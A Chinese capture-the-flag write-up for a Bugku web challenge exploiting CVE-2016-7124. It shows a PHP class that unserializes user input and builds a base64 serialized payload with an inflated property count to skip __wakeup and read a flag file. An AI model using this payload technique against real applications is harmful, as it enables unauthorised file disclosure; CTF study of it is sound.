题目地址:

newbugku web24

CVE-2016-7124(绕过__wakeup)

  • 查看源码,在末尾发现文件所在位置:

  • 访问该文件:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    <?php 
    class Small_white_rabbit{
    private $file = 'index.php';

    public function __construct($file) {
    $this->file = $file;
    }

    function __destruct() {
    echo @highlight_file($this->file, true);
    }

    function __wakeup() {
    if ($this->file != 'index.php') {
    //the secret is in the_f1ag.php
    $this->file = 'index.php';
    }
    }
    }

    if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    @unserialize($var);
    } else {
    highlight_file("index.php");
    }
    ?>

    由此可知,此处考察PHP的反序列化知识:简单分析过后,需要构造指向目标文件的对象,将其序列化后,再base64编码即可。

    常见方法如下:

    (1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

    (2) __wakeup() :unserialize()时会自动调用

    (3) __destruct():当对象被销毁时会自动调用。

    (4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

    (5) __get() :当从不可访问的属性读取数据

    (6) __call(): 在对象上下文中调用不可访问的方法时触发

  • 问题所在:__wakeup()会在unserilize()之前被调用,而且会修改目标文件。

  • 序列化问题:

    不同属性的序列化结果不同。

    Public属性序列化后格式:成员名

    Private属性序列化后格式:%00类名%00成员名

    Protected属性序列化后的格式:%00*%00成员名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    class user{
    public $username = "lowbee";
    protected $age = 88;
    private $income = "-10000";
    }

    $test = new user();
    print_r(serialize($test));
    ?>

    由于显示问题,无法显示%00

    1
    O:4:"user":3:{s:8:"username";s:6:"lowbee";s:6:"*age";i:88;s:12:"userincome";s:6:"-10000";}

    因此在此题目中更要解决%00的base编码问题。

  • 绕过__wakeup:

    影响版本:PHP5 < 5.6.25 PHP7 < 7.0.10

    漏洞原因:如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

  • 构造Payload:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php 
    class Small_white_rabbit{
    private $file = 'index.php';
    public function __construct($file) {
    $this->file = $file;
    }

    function __destruct() {
    echo @highlight_file($this->file, true);
    }

    function __wakeup() {
    if ($this->file != 'index.php') {
    //the secret is in the_f1ag.php
    $this->file = 'index.php';
    }
    }
    }

    $myinput=new Small_white_rabbit("the_f1ag.php");
    echo base64_encode(serialize($myinput));

    此处没有改变结果中属性个数,结果(1)如下:

    1
    TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoxOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7fQ==

    再次构造改变属性个数结果:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <?php 
    class Small_white_rabbit{
    private $file = 'index.php';
    private $temp = 'index.php';
    public function __construct($file) {
    $this->file = $file;
    }

    function __destruct() {
    echo @highlight_file($this->file, true);
    }

    function __wakeup() {
    if ($this->file != 'index.php') {
    //the secret is in the_f1ag.php
    $this->file = 'index.php';
    }
    }
    }

    $myinput=new Small_white_rabbit("the_f1ag.php");
    //print_r(serialize($myinput));
    echo base64_encode(serialize($myinput));

    结果(2)如下:

    1
    TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoyOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7czoyNDoiAFNtYWxsX3doaXRlX3JhYmJpdAB0ZW1wIjtzOjk6ImluZGV4LnBocCI7fQ==

    因为只需要改变结果(1)中的个数,因此将其与结果(2)从头对比可知:

    结果(1):TzoxODoiU21hbGxfd2hpdGVfcmFiYml0Ijox

    结果(2):TzoxODoiU21hbGxfd2hpdGVfcmFiYml0Ijoy

    将结果(1)的x位置改变y即可。

    最终Payload如下:

    1
    TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoyOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7fQ==